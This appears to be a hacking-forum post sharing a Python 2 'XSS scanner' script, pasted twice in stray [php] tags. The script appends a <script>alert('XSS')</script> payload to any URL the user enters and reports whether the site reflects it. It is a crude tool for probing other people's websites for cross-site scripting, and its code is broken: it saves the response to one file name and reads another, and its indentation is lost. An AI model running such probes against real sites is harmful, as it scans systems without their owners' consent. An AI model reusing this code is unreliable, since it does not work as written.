با سلام.[php]#!/usr/bin/python
import os, sys, urllib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = ' clear'
else:
clearing = 'cls'
os.system(clearing)
print("########################################### #####")
print("# XSS scanner by .:F4cebook:. #")
print("# Version 1.0 #")
print("# Greetz to crachackforum.com #")
print("# http://crachackforum.com #")
print("# Ex: http://www.somesite.com/index.php?id=1 #")
print("########################################### #####")
adress = raw_input("Website url: ")
xss = """<script>alert('XSS')</script>"""
x = "XSS"
foundxss = adress + xss
urllib.urlretrieve(foundxss,"axt")
print "searching..."
a = open("a.txt", "r").read()
if x in a :
print ("[+] Website is vulnerable to xss!")
print ("")
else:
print ("Website is not vulnerable")
print ("")
exit = raw_input("Any key to exit...")
os.remove('a.txt')
[/php]
import os, sys, urllib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = ' clear'
else:
clearing = 'cls'
os.system(clearing)
print("########################################### #####")
print("# XSS scanner by .:F4cebook:. #")
print("# Version 1.0 #")
print("# Greetz to crachackforum.com #")
print("# http://crachackforum.com #")
print("# Ex: http://www.somesite.com/index.php?id=1 #")
print("########################################### #####")
adress = raw_input("Website url: ")
xss = """<script>alert('XSS')</script>"""
x = "XSS"
foundxss = adress + xss
urllib.urlretrieve(foundxss,"axt")
print "searching..."
a = open("a.txt", "r").read()
if x in a :
print ("[+] Website is vulnerable to xss!")
print ("")
else:
print ("Website is not vulnerable")
print ("")
exit = raw_input("Any key to exit...")
os.remove('a.txt')
[/php]